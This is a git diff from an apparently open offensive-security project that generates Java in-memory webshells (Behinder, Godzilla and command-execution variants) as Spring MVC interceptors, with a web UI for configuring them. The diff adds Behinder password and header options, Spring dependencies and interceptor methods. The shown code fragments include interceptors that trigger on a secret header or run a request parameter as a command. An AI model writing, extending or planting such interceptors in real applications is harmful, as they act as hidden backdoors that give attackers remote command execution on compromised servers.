diff --git a/.github/workflows/build.yaml b/.github/workflows/build.yaml index 5165f1dd..cae9a926 100644 --- a/.github/workflows/build.yaml +++ b/.github/workflows/build.yaml @@ -33,7 +33,7 @@ jobs: - name: Bun Install run: cd web && bun install --frozen-lockfile - name: Build Web - run: cd web && bun run build && bash copy-build.sh + run: cd web && bun run build - name: Build with Gradle run: ./gradlew :boot:bootjar - name: Upload Jar diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 5a95c67e..8108e939 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -23,6 +23,9 @@ public class GenerateRequest { private String godzillaHeaderName; private String godzillaHeaderValue; private String commandParamName; + private String behinderPass; + private String behinderHeaderName; + private String behinderHeaderValue; } public ShellToolConfig parseShellToolConfig() { @@ -41,6 +44,15 @@ public class GenerateRequest { .paramName(shellToolConfig.getCommandParamName()) .build(); } + + if (shellConfig.getShellTool().equals(ShellTool.Behinder)) { + return BehinderConfig.builder() + .shellClassName(shellToolConfig.getShellClassName()) + .pass(shellToolConfig.getBehinderPass()) + .headerName(shellToolConfig.getBehinderHeaderName()) + .headerValue(shellToolConfig.getBehinderHeaderValue()) + .build(); + } throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); } } \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index ddac01dc..822e8701 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -64,6 +64,8 @@ dependencies { implementation 'ch.qos.logback:logback-classic:1.+' implementation 'com.alibaba.fastjson2:fastjson2:2.0.53' + implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' + implementation 'org.springframework:spring-web:4.3.30.RELEASE' implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { exclude group: 'org.apache.tomcat', module: 'tomcat-api' exclude group: 'org.apache.tomcat', module: 'tomcat-juli' diff --git a/memshell/build.gradle b/memshell/build.gradle index 8613ca79..418842a4 100644 --- a/memshell/build.gradle +++ b/memshell/build.gradle @@ -1,6 +1,14 @@ +plugins { + id 'war' +} + group = 'com.reajason.javaweb' version = '' +repositories { + mavenCentral() +} + java { toolchain { languageVersion = JavaLanguageVersion.of(8) @@ -10,9 +18,8 @@ java { } dependencies { - implementation 'javax.servlet:javax.servlet-api:3.0.1' - implementation 'javax.websocket:javax.websocket-api:1.1' - + implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' + implementation 'org.springframework:spring-web:4.3.30.RELEASE' implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { exclude group: 'org.apache.tomcat', module: 'tomcat-api' exclude group: 'org.apache.tomcat', module: 'tomcat-juli' @@ -26,4 +33,6 @@ dependencies { exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api' exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api' } + providedCompile 'javax.servlet:javax.servlet-api:3.0.1' + providedCompile 'javax.websocket:javax.websocket-api:1.1' } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java index 61e129d2..eadf3de7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.springmvc.behinder; import org.springframework.web.servlet.AsyncHandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -32,6 +33,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte public BehinderInterceptor() { } + @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { try { @@ -55,6 +57,16 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte } } + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + @SuppressWarnings("all") public static byte[] base64Decode(String bs) { byte[] value = null; @@ -73,4 +85,9 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte } return value; } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java index 3a75705b..536ade37 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.springmvc.command; import org.springframework.web.servlet.AsyncHandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; @@ -18,6 +19,7 @@ public class CommandInterceptor implements AsyncHandlerInterceptor { public CommandInterceptor() { } + @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { try { String cmd = request.getParameter(paramName); @@ -37,4 +39,19 @@ public class CommandInterceptor implements AsyncHandlerInterceptor { } return true; } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java index 7b4f707d..8786bdce 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.springmvc.godzilla; import org.springframework.web.servlet.AsyncHandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -27,6 +28,7 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte public GodzillaInterceptor() { } + @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { @@ -59,6 +61,16 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte return true; } + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { String value = null; @@ -112,4 +124,9 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte return null; } } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } } diff --git a/memshell/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java b/memshell/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java deleted file mode 100644 index 1e1a981e..00000000 --- a/memshell/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java +++ /dev/null @@ -1,4 +0,0 @@ -package org.springframework.web.servlet; - -public interface AsyncHandlerInterceptor { -} diff --git a/memshell/src/main/java/org/springframework/web/servlet/ModelAndView.java b/memshell/src/main/java/org/springframework/web/servlet/ModelAndView.java deleted file mode 100644 index 1aa6b05c..00000000 --- a/memshell/src/main/java/org/springframework/web/servlet/ModelAndView.java +++ /dev/null @@ -1,8 +0,0 @@ -package org.springframework.web.servlet; - -/** - * @author ReaJason - * @since 2024/12/22 - */ -public class ModelAndView { -} diff --git a/memshell/src/main/java/org/springframework/web/servlet/mvc/Controller.java b/memshell/src/main/java/org/springframework/web/servlet/mvc/Controller.java deleted file mode 100644 index b96375a8..00000000 --- a/memshell/src/main/java/org/springframework/web/servlet/mvc/Controller.java +++ /dev/null @@ -1,8 +0,0 @@ -package org.springframework.web.servlet.mvc; - -/** - * @author ReaJason - * @since 2024/12/22 - */ -public interface Controller { -} diff --git a/web/copy-build.sh b/web/copy-build.sh index 5acb56db..7e36d3e7 100755 --- a/web/copy-build.sh +++ b/web/copy-build.sh @@ -6,4 +6,6 @@ cp dist/vite.svg ../boot/src/main/resources/static/ cp -R dist/assets/* ../boot/src/main/resources/static/assets/ mkdir -p ../boot/src/main/resources/templates -cp dist/index.html ../boot/src/main/resources/templates/index.html \ No newline at end of file +cp dist/index.html ../boot/src/main/resources/templates/index.html + +echo "copy success" \ No newline at end of file diff --git a/web/package.json b/web/package.json index 2b54665d..89e37fd4 100644 --- a/web/package.json +++ b/web/package.json @@ -6,7 +6,7 @@ "scripts": { "typecheck": "tsc --noEmit", "dev": "vite --port=3001", - "build": "tsc -b && vite build --mode production", + "build": "tsc -b && vite build --mode production && bash copy-build.sh", "serve": "vite preview", "check": "bunx @biomejs/biome check ./ --write", "start": "vite" @@ -53,7 +53,5 @@ "tailwindcss-animate": "^1.0.7", "zod": "^3.24.1" }, - "trustedDependencies": [ - "@biomejs/biome" - ] + "trustedDependencies": ["@biomejs/biome"] } diff --git a/web/src/components/main-config-card.tsx b/web/src/components/main-config-card.tsx index 882588fe..2ebcf520 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/main-config-card.tsx @@ -271,6 +271,43 @@ export function MainConfigCard({ )} + {form.getValues().shellTool === "Behinder" && ( +
+ +
+ ( + + + + + )} + /> + ( + + + + + )} + /> + ( + + + + + )} + /> +
+
+ )} {form.getValues().shellTool === "Command" && ( { - if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") { + if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) { toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); return; } + if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) { + toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller"); + return; + } + const postData = transformToPostData(values); try { const response = await fetch(`${env.API_URL}/generate`, { diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index dcd45688..f73ae952 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -13,6 +13,9 @@ export const formSchema = z.object({ godzillaKey: z.optional(z.string()), godzillaHeaderName: z.optional(z.string()), godzillaHeaderValue: z.optional(z.string()), + behinderPass: z.optional(z.string()), + behinderHeaderName: z.optional(z.string()), + behinderHeaderValue: z.optional(z.string()), commandParamName: z.optional(z.string()), injectorClassName: z.optional(z.string()), packingMethod: z.string().min(1, { message: "请选择打包方式" }), diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index 3a8ce992..49afd18a 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -15,6 +15,9 @@ export interface ShellToolConfig { godzillaHeaderName?: string; godzillaHeaderValue?: string; commandParamName?: string; + behinderPass?: string; + behinderHeaderName?: string; + behinderHeaderValue?: string; } export interface CommandShellToolConfig { diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index e1959468..03a354e6 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -16,6 +16,9 @@ export function transformToPostData(formValue: FormSchema) { godzillaHeaderName: formValue.godzillaHeaderName, godzillaHeaderValue: formValue.godzillaHeaderValue, commandParamName: formValue.commandParamName, + behinderPass: formValue.behinderPass, + behinderHeaderName: formValue.behinderHeaderName, + behinderHeaderValue: formValue.behinderHeaderValue, }; const injectorConfig: InjectorConfig = {